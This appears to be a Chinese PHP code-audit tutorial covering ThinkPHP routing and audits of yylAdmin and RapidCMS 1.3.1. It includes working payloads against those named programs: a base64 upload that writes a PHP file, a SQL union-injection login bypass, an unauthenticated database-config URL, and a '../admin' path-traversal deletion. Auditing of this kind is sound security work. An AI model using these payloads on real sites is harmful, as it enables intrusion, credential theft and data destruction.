php代码审计
0x01环境
搭建web服务器环境的软件有很多,使用最多的还是phpstudy以及宝塔面板,本文采用的是phpstudy。请注意,无论使用phpstudy还是宝塔面板,都需要按照网站源码的设计要求,修改环境配置,不然网站会搭建失败。
0x02思路
审计一个源码,最重要的是路由问题。一个功能点,如果找不到对应的功能代码,那谈何审计?
当然,对于没有路由设置的源码,直接通过url找目录路径文件就可以了
举个例子
一个网站的登录接口为 http://127.0.0.1/admin/login.php ,那么对应的源码就在admin目录下的login.php内
那如果使用了框架,情况就复杂起来了,需要了解这个源码使用框架的目录结构,thinkphp8.0框架的目录结构如下(源配置路径:https://doc.thinkphp.cn/v8_0/directory_structure.html),接口函数基本上在app下的controller文件夹下
www WEB部署目录(或者子目录)
├─app 应用目录
│ ├─controller 控制器目录
│ ├─model 模型目录
│ ├─ ... 更多类库目录
│ │
│ ├─common.php 公共函数文件
│ └─event.php 事件定义文件
│
├─config 配置目录
│ ├─app.php 应用配置
│ ├─cache.php 缓存配置
│ ├─console.php 控制台配置
│ ├─cookie.php Cookie配置
│ ├─database.php 数据库配置
│ ├─filesystem.php 文件磁盘配置
│ ├─lang.php 多语言配置
│ ├─log.php 日志配置
│ ├─middleware.php 中间件配置
│ ├─route.php URL和路由配置
│ ├─session.php Session配置
│ ├─trace.php Trace配置
│ └─view.php 视图配置
│
├─view 视图目录
├─route 路由定义目录
│ ├─route.php 路由定义文件
│ └─ ...
│
├─public WEB目录(对外访问目录)
│ ├─index.php 入口文件
│ ├─router.php 快速测试文件
│ └─.htaccess 用于apache的重写
│
├─extend 扩展类库目录
├─runtime 应用的运行时目录(可写,可定制)
├─vendor Composer类库目录
├─.example.env 环境变量示例文件
├─composer.json composer 定义文件
├─LICENSE.txt 授权说明文件
├─README.md README 文件
├─think 命令行入口文件
举个接口例子
开源网站源码yylAdmin的管理员登录接口,我点击登录这个按钮,浏览器会向/admin/admin.Login/login路径下发送用户名以及密码
(ming.com是我phpstudy上设置的网站域名,会指向我的本地),但它对应的代码却在app/admin/controller/admin/Login.php文件里的 Login类的login函数
如果按照没有框架的思路来看,接口url应该是/admin/controller/admin/login.php,完全不同
在这里
-
admin
表示控制器的命名空间或模块 -
admin.Login
表示控制器的类名 -
login
表示控制器的方法名
这便是thinkphp的命名规则
0x03审计(thiknphp框架之base64上传漏洞)
目录结构
该源码的目录结构也就表明是一个thinkphp
框架站点
.env有可能是数据库配置文件,app包含网站源码,public是运行目录
文件上传漏洞点
在根目录下的common.php
文件中创建了base64_upload
函数
function base64_upload($base64, $path = 'uploads/images/', $filename = '') {
$admin = \app\web\model\User::get(['sid' => session('admin_sid')]);
if ($admin['id'] != 1)
return '';
$filename = $filename ? $filename : uniqid(); //文件名
$base64_image = str_replace(' ', '+', $base64);
if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $base64_image, $result)) {
if ($result[2] == 'jpeg') {
$image_name = $filename . '.jpg';
} else {
$image_name = $filename . '.' . $result[2];
}
$image_file = $path . $image_name;
if (file_put_contents($image_file, base64_decode(str_replace($result[1], '', $base64_image)))) {
return '/' . $path . $image_name;
} else {
return '';
}
} else {
return '';
}
}
base64_upload
函数接收两个参数,一个是base64编码后的数据,一个是filename
,也就是文件的名字
这个函数首先判断session
,判断请求接口时用户有没有登录,然后会将filename
赋值,如果filename
没有赋值,那么使用uniqid
函数赋值文件名
然后将传入的base64编码后的数据进行替换,将空
字符替换为+
号
然后将image/
与;
中间的数据提取出来,如果等于jpeg
,那么之后保存的文件名后缀为jpg
,否则,文件名后缀为image/
与;
中间的数据
后缀可控,那不就是妥妥的文件上传
漏洞?
漏洞复现
使用notepad++
在源码中搜索base64_upload
关键字,发现admin
目录下的control
层中有很多源码文件都会调用这个函数
寻找了一个设置logo
的功能点尝试利用上传漏洞
public function setLogo($base64_data) {
$url = '/static/images/logo.png';
$setting = Setting::set('logo_url', $url . '?_v=' . time());
$path = base64_upload($base64_data, './static/images/', 'logo') . '?t=' . time();
return ['code' => 1, 'data' => $path];
}
使用burp
的编码模块base64编码一下<?php phpinfo(); ?>
构造payload
data%3aimage%2fphp%3bbase64%2cPD9waHAgcGhwaW5mbygpOyA/Pg==
url解码后的payload
data:image/php;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
报文重发,回显文件路径
打开文件,上传漏洞利用成功
0x04审计(无框架)
审计源码为rapdicms(1.3.1版本)https://github.com/OpenRapid/rapidcms
安装
输入本地的数据库信息,设置密码,安装完成
提示后台地址,那我们就在admin管理接口处搞起!
进来之后一个登录界面,打开burp,点击确认来锁定登录接口代码文件
发现使用post请求向runlogin.php这个文件传递了两个参数,那么关键的代码文件就找到了
未授权
这个代码先使用include引用了variable.php的代码
使用file_get_contents读取了sql.json文件,然后连接了数据库,进而步入登录逻辑代码,sql.json蕴含着数据库的账号 密码信息,它使用file_get_contents读取,
那我们能不能直接访问获取到这个数据库信息呢,会不会有未授权漏洞呢?
直接访问http://ming.com/install/sql-config/sql.json
进入后台之后,跟随它的功能点去审计代码
文件上传*2
基本设置处图标文件上传
新增文章处文件上传
upload.php没有限制
sql注入*N
新增分类处insert注入
查看分类处存在delete注入
查看分类处存在update注入
用户处有update注入
用户处有delete注入
新增文章处存在insert注入
查看文章处存在update注入
查看文章处存在delete注入
普通用户评论文章处存在sql注入
普通用户点赞评论处存在sql注入
删除评论处存在sql注入
登录逻辑绕过
让我们认真的分析以下这串登录代码,首先是通过执行sql语句获取了name的password值,赋给了$pa,然后进行判断,如果这串值和 POST请求接收的password值的md5加密、sha1加密、 md5加密后的值相同,那么setcookie
if ($link) {
$select = mysqli_select_db($link, $dataxxx['dbname']);
if ($select) {
$name = $_POST["username"];
$password = $_POST["password"];
if ($name == "" || $password == "") {
sendalert("请填写正确的信息");
exit;
}
//编写SQL语句并运行
$str = "select password from `rapidcmsuser` where username=" . "'" . "$name" . "'";
$str1 = "select yhxx from `rapidcmsuser` where username=" . "'" . "$name" . "'";
$result1 = mysqli_query($link, $str1);
$result = mysqli_query($link, $str);
$pass = mysqli_fetch_row($result);
$pass1 = mysqli_fetch_row($result1);
$pa = $pass[0];
$pas = $pass1[0];
$password11 = md5(sha1(md5($password)));
if ($pa == $password11) {
//设置Cookie,直接返回
setcookie("user", encode($name, $password11), time() + 3600000, '/');
setcookie("name", $name, time() + 3600000, '/');
sleep(2);
sendalert("登录成功");
} else {
sendalert("登录失败");
}
}
}
其实这里是由绕过方法的
使用联合注入带出注入的值,而这个值确是password经过md5、sha1、md5加密后的值
传入以下两个参数
username=admin1' union select '021c6cd3a69730ac97d0b65576a9004f' --
password=1
$str="select password from `rapidcmsadmin` Where username = 'admin'";
直接绕过
修改密码处存在未授权访问
没有任何的cookie校验,可以直接修改密码
其实这里也有csrf,只不过影响相比于未授权差太少了
插件设置处存在任意删除
id=../admin即可删除网站下的admin目录
-
php代码审计
- 0x01环境
- 0x02思路
- 0x03审计(thiknphp框架之base64上传漏洞)
- 目录结构
- 文件上传漏洞点
- 漏洞复现
- 0x04审计(无框架)
- 安装
- 未授权
- 文件上传*2
- 基本设置处图标文件上传
- 新增文章处文件上传
- sql注入*N
- 新增分类处insert注入
- 查看分类处存在delete注入
- 查看分类处存在update注入
- 用户处有update注入
- 用户处有delete注入
- 新增文章处存在insert注入
- 查看文章处存在update注入
- 查看文章处存在delete注入
- 普通用户评论文章处存在sql注入
- 普通用户点赞评论处存在sql注入
- 删除评论处存在sql注入
- 登录逻辑绕过
- 修改密码处存在未授权访问
- 插件设置处存在任意删除